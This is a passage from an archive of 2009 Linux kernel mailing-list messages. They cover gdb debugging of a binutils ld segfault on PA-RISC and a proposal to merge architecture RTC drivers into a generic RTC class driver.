	Tue, 3 Mar 2009 07:57:26 -0500
Original-Received: from mail-ew0-f177.google.com ([209.85.219.177]:43054 "EHLO
	mail-ew0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751637AbZCCM5Z convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Mar 2009 07:57:25 -0500
Original-Received: by ewy25 with SMTP id 25so2311307ewy.37
        for <linux-parisc@vger.kernel.org>; Tue, 03 Mar 2009 04:57:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=c4X5IuY1RReLfhWGKELFbTS0eL4J+D7+0rBQdtxMKmE=;
        b=S9pMDPNuU0zjZqQWs/kqOQzsbrnWFXdvn1B4pejjg/RndO80ml4J37kz6d/btCS3gL
         voDv2+4w41fMxCUXKAWQbZm8eK+81F6U0Ay1OFjqQuRRNr816HkzqtGcYkAAIUx29/s5
         JG8o6MtqPqnk8rnhcD0UwjLglyPIE2/AfMun4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=f+guc34NdoZiT000VbY9uhWzHHrdFmNpLpr/663yjmtZzW6gTVj0suGcgAcvgQNDdr
         hsnJxtQohu0s5WtC+OZNMxhHzi4IP2gRpGb+7qUrQ3e9m0M75JyyanaJ3n4rdtOMA2am
         eFDQLeSyOBzmI8mCRVAJYKxvQ97vSxaqmGbe4=
Original-Received: by 10.210.52.15 with SMTP id z15mr4124648ebz.96.1236085041987; Tue, 
	03 Mar 2009 04:57:21 -0800 (PST)
In-Reply-To: <20090302181719.8CB8F4ED1@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1346>

>> bfd/elf32-hppa.c:
>> 3568 =C2=A0 /* Make sure we can reach the stub. =C2=A0*/
>> 3569 =C2=A0 if (max_branch_offset !=3D3D 0
>> 3570 =C2=A0 =C2=A0 =C2=A0 && value + addend + max_branch_offset >=3D=
3D 2*max_branch_offset)
>> 3571 =C2=A0 =C2=A0 {
>> 3572 =C2=A0 =C2=A0 =C2=A0 (*_bfd_error_handler)
>> 3573 =C2=A0 =C2=A0 =C2=A0 =C2=A0 (_("%B(%A+0x%lx): cannot reach %s, =
recompile with
>> -ffunction-sections"),
>> 3574 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0input_bfd,
>> 3575 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0input_section,
>> 3576 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0offset,
>> 3577 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0hsh->bh_root.string);
>> 3578 =C2=A0 =C2=A0 =C2=A0 bfd_set_error (bfd_error_bad_value);
>> 3579 =C2=A0 =C2=A0 =C2=A0 return bfd_reloc_notsupported;
>> 3580 =C2=A0 =C2=A0 }
>>
> As soon as you step into the error handler, you change the function
> context. =C2=A0So, there is no local symbol hsh there. =C2=A0It's als=
o possible
> the symbol hsh is optimized away, particularly because of the way it'=
s
> derived fro the argument bh.

Ok, I have recompiled binutils with -O0:

Breakpoint 1, final_link_relocate (input_section=3D0x105770,
contents=3D0x43661008 "cows can fly", rela=3D0x13fae8,
value=3D18446744073709532028,
    htab=3D0x8df70, sym_sec=3D0x105770, hh=3D0x0, info=3D0x7b890)
    at /var/tmp/portage/sys-devel/binutils-2.19.51.0.2/work/binutils-2.=
19.51.0.2/bfd/elf32-hppa.c:3572
3572          (*_bfd_error_handler)
(gdb) info locals
insn =3D -2021646334
r_type =3D 8
orig_r_type =3D 8
howto =3D (const struct reloc_howto_struct *) 0x403fb128
r_format =3D 12
r_field =3D e_fsel
-> input_bfd =3D (bfd *) 0xc3460
-> offset =3D 3204
max_branch_offset =3D 8192
hit_data =3D (bfd_byte *) 0x43661c8c "\207\200 \002\b\017\002B\b\020\00=
2^=C3=A8@=C3=80"
addend =3D -8
location =3D 269536388
-> hsh =3D (struct elf32_hppa_stub_hash_entry *) 0x933b8
val =3D 0

(gdb) print hsh->bh_root.string
$1 =3D 0x13919a8 "000000b2_b2:46+4068"

(gdb) print input_section
$2 =3D (asection *) 0x105770

Hm, they are not NULL.

ld segfaults on the next line again.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Tue, 3 Mar 2009 14:53:45 +0100
Organization: Tower Technologies
Lines: 46
Approved: news@gmane.org
Message-ID: <20090303145345.3751a471@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<20090227185514.GA1071@linux-m68k.org>
	<alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
	<20090302110310.35af50ea@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be>
	<20090302120950.0d35e06c@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236088453 10348 80.91.229.12 (3 Mar 2009 13:54:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2009 13:54:13 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com,
	Richard Zidlicky <rz@linux-m68k.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: rtc-linux@googlegroups.com
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Mar 03 14:55:27 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeV5b-0005ID-B0
	for glpm-linux-m68k@gmane.org; Tue, 03 Mar 2009 14:55:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752028AbZCCNx4 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 3 Mar 2009 08:53:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750946AbZCCNx4
	(ORCPT <rfc822;linux-m68k-outgoing>); Tue, 3 Mar 2009 08:53:56 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:54961 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750750AbZCCNxz (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Tue, 3 Mar 2009 08:53:55 -0500
Original-Received: (qmail 28516 invoked from network); 3 Mar 2009 14:53:46 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 3 Mar 2009 14:53:46 +0100
In-Reply-To: <alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:507 gmane.linux.ports.parisc:1347 gmane.linux.kernel:801817 gmane.linux.ports.ppc64.devel:53048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1347>

On Tue, 3 Mar 2009 11:41:23 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> rtc-generic is already in the kernel, it's just called rtc-parisc ;-)

 Really? I never saw it :)

> >  But I'd strongly suggest to plan and execute a conversion process.
> 
> So would you accept a patch series that:
>   1. Adds the missing module aliases to rtc-parisc (which is a bugfix),
>   2. Moves the platform device creation out of rtc-ppc and into arch-specific
>      code (which is also a bugfix),
>   3. Consolidates rtc-parisc and rtc-ppc into rtc-generic (which is a cleanup),
>   4. Makes rtc-generic dependent on PARISC, PPC, and M68K (the existing
>      [sg]et_rtc_time() users):
>        a. without introducing ARCH_HAS_GENERIC_RTC,
>        b. with a big fat warning in the Kconfig comment not relaxing the
>           dependencies, as it's supposed to go away.
>   4. Converts the PS3 RTC support into a separate driver, called rtc-ps3
>      (as a bonus ;-)
> 
> ? If yes, I'll cook it up.
> 
> Other RTC platform support can be converted into separate drivers later.

 Seems reasonable. But please add a list of users of rtc-generic and information
 about their respective rtc hardware along with some general planning about
 which future driver would cover which users.

 And let's hope this is a beginning :)

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Tue, 3 Mar 2009 11:33:47 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20090303163348.422E34E9A@hiauly1.hia.nrc.ca>
References: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236098056 14778 80.91.229.12 (3 Mar 2009 16:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2009 16:34:16 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: a.beregalov@gmail.com (Alexander Beregalov)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 03 17:35:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeXaV-0008DX-L6
	for glpp-linux-parisc@gmane.org; Tue, 03 Mar 2009 17:35:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753534AbZCCQdw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Mar 2009 11:33:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756733AbZCCQdv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 3 Mar 2009 11:33:51 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4383 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758022AbZCCQdu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Mar 2009 11:33:50 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 422E34E9A; Tue,  3 Mar 2009 11:33:47 -0500 (EST)
In-Reply-To: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com> from "Alexander Beregalov" at Mar 3, 2009 03:57:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1348>

> (gdb) print hsh->bh_root.string
> $1 =3D 0x13919a8 "000000b2_b2:46+4068"
> 
> (gdb) print input_section
> $2 =3D (asection *) 0x105770
> 
> Hm, they are not NULL.
> 
> ld segfaults on the next line again.

Ok, I think we need to look deeper (i.e., _bfd_default_error_handler
in bfd.c).  We might get this problem is _bfd_error_program_name is
corrupt.  Try stepping through _bfd_default_error_handler.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 4 Mar 2009 04:06:10 +0900
Lines: 27
Approved: news@gmane.org
Message-ID: <20090303190609.GB6907@linux-sh.org>
References: <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org> <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be> <20090225111836.621412c1@i1501.lan.towertech.it> <20090227185514.GA1071@linux-m68k.org> <alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be> <20090302110310.35af50ea@i1501.lan.towertech.it> <alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be> <20090302120950.0d35e06c@i1501.lan.towertech.it> <alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236107457 19419 80.91.229.12 (3 Mar 2009 19:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Mar 2009 19:10:57 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Richard Zidlicky <rz@linux-m68k.org>,
	rtc-linux@googlegroups.com, David Woodhouse <dwmw2@infradead.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Mar 03 20:12:11 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lea1Y-0006qf-55
	for glpm-linux-m68k@gmane.org; Tue, 03 Mar 2009 20:11:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754004AbZCCTKF (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 3 Mar 2009 14:10:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753293AbZCCTKE
	(ORCPT <rfc822;linux-m68k-outgoing>); Tue, 3 Mar 2009 14:10:04 -0500
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:42053 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752654AbZCCTKB (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Tue, 3 Mar 2009 14:10:01 -0500
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 3EF3D6375B;
	Tue,  3 Mar 2009 19:06:11 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id be82cz4ozc0L; Wed,  4 Mar 2009 04:06:10 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id BA28963765; Wed,  4 Mar 2009 04:06:10 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	Richard Zidlicky <rz@linux-m68k.org>, rtc-linux@googlegroups.com,
	David Woodhouse <dwmw2@infradead.org>, linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:508 gmane.linux.ports.parisc:1349 gmane.linux.kernel:801934 gmane.linux.ports.ppc64.devel:53063
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1349>

On Tue, Mar 03, 2009 at 11:41:23AM +0100, Geert Uytterhoeven wrote:
> So would you accept a patch series that:
>   1. Adds the missing module aliases to rtc-parisc (which is a bugfix),
>   2. Moves the platform device creation out of rtc-ppc and into arch-specific
>      code (which is also a bugfix),
>   3. Consolidates rtc-parisc and rtc-ppc into rtc-generic (which is a cleanup),
>   4. Makes rtc-generic dependent on PARISC, PPC, and M68K (the existing
>      [sg]et_rtc_time() users):
>        a. without introducing ARCH_HAS_GENERIC_RTC,
>        b. with a big fat warning in the Kconfig comment not relaxing the
>           dependencies, as it's supposed to go away.
>   4. Converts the PS3 RTC support into a separate driver, called rtc-ps3
>      (as a bonus ;-)
> 
> ? If yes, I'll cook it up.
> 
> Other RTC platform support can be converted into separate drivers later.
> 
Did you miss the rtc-firmware thread?

http://groups.google.com/group/rtc-linux/browse_thread/thread/53e8d98966048f66/1d730cb4aa2f85f0?lnk=gst&q=rtc-firmware#1d730cb4aa2f85f0
http://groups.google.com/group/rtc-linux/browse_thread/thread/b3d10115c7e147f2/cb9c1530d9c3a433?lnk=gst&q=rtc-firmware#cb9c1530d9c3a433
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 4 Mar 2009 09:26:29 +0100 (CET)
Lines: 68
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903040920240.2416@vixen.sonytel.be>
References: <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org> <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be> <20090225111836.621412c1@i1501.lan.towertech.it> <20090227185514.GA1071@linux-m68k.org>
 <alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be> <20090302110310.35af50ea@i1501.lan.towertech.it> <alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be> <20090302120950.0d35e06c@i1501.lan.towertech.it> <alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
 <20090303190609.GB6907@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236155210 17799 80.91.229.12 (4 Mar 2009 08:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Mar 2009 08:26:50 +0000 (UTC)
Cc: Linux/m68k <linux-m68k@vger.kernel.org>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	Richard Zidlicky <rz@linux-m68k.org>,
	rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	David Woodhouse <dwmw2@infradead.org>
To: Paul Mundt <lethal@linux-sh.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Mar 04 09:28:04 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LemSL-0006ee-C0
	for glpm-linux-m68k@gmane.org; Wed, 04 Mar 2009 09:27:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753338AbZCDI0e convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>); Wed, 4 Mar 2009 03:26:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752393AbZCDI0e
	(ORCPT <rfc822;linux-m68k-outgoing>); Wed, 4 Mar 2009 03:26:34 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:43166 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751829AbZCDI0d (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Wed, 4 Mar 2009 03:26:33 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id F353758AD0;
	Wed,  4 Mar 2009 09:26:29 +0100 (MET)
In-Reply-To: <20090303190609.GB6907@linux-sh.org>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:509 gmane.linux.ports.parisc:1350 gmane.linux.kernel:802216 gmane.linux.ports.ppc64.devel:53091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1350>

On Wed, 4 Mar 2009, Paul Mundt wrote:
> On Tue, Mar 03, 2009 at 11:41:23AM +0100, Geert Uytterhoeven wrote:
> > So would you accept a patch series that:
> >   1. Adds the missing module aliases to rtc-parisc (which is a bugf=
ix),
> >   2. Moves the platform device creation out of rtc-ppc and into arc=
h-specific
> >      code (which is also a bugfix),
> >   3. Consolidates rtc-parisc and rtc-ppc into rtc-generic (which is=
 a cleanup),
> >   4. Makes rtc-generic dependent on PARISC, PPC, and M68K (the exis=
ting
> >      [sg]et_rtc_time() users):
> >        a. without introducing ARCH_HAS_GENERIC_RTC,
> >        b. with a big fat warning in the Kconfig comment not relaxin=
g the
> >           dependencies, as it's supposed to go away.
> >   4. Converts the PS3 RTC support into a separate driver, called rt=
c-ps3
> >      (as a bonus ;-)
> >=20
> > ? If yes, I'll cook it up.
> >=20
> > Other RTC platform support can be converted into separate drivers l=
ater.
> >=20
> Did you miss the rtc-firmware thread?
>=20
> http://groups.google.com/group/rtc-linux/browse_thread/thread/53e8d98=
966048f66/1d730cb4aa2f85f0?lnk=3Dgst&q=3Drtc-firmware#1d730cb4aa2f85f0
> http://groups.google.com/group/rtc-linux/browse_thread/thread/b3d1011=
5c7e147f2/cb9c1530d9c3a433?lnk=3Dgst&q=3Drtc-firmware#cb9c1530d9c3a433

Thanks Paul, I wasn't aware of that thread!

Yes, this is almost the same. The only part I don't agree with is the m=
ove of
the creation of the platform device from arch-specific code to rtc-firm=
ware.c,
as this makes autoloading the driver more difficult.

Seems like everybody but the RTC maintainer has an interest in having a=
n RTC
class driver on top of [gs]et_rtc_time()... ;-)

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 4 Mar 2009 13:47:05 +0100
Organization: Tower Technologies
Lines: 33
Approved: news@gmane.org
Message-ID: <20090304134705.7d9bbe5c@i1501.lan.towertech.it>
References: <20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<20090227185514.GA1071@linux-m68k.org>
	<alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
	<20090302110310.35af50ea@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be>
	<20090302120950.0d35e06c@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
	<20090303190609.GB6907@linux-sh.org>
	<alpine.LRH.2.00.0903040920240.2416@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236170849 4286 80.91.229.12 (4 Mar 2009 12:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Mar 2009 12:47:29 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com, Paul Mundt <lethal@linux-sh.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	David Woodhouse <dwmw2@infradead.org>
To: rtc-linux@googlegroups.com
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Mar 04 13:48:44 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeqWf-0002Tv-B3
	for glpm-linux-m68k@gmane.org; Wed, 04 Mar 2009 13:48:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753971AbZCDMrR (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 4 Mar 2009 07:47:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753941AbZCDMrR
	(ORCPT <rfc822;linux-m68k-outgoing>); Wed, 4 Mar 2009 07:47:17 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:33071 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
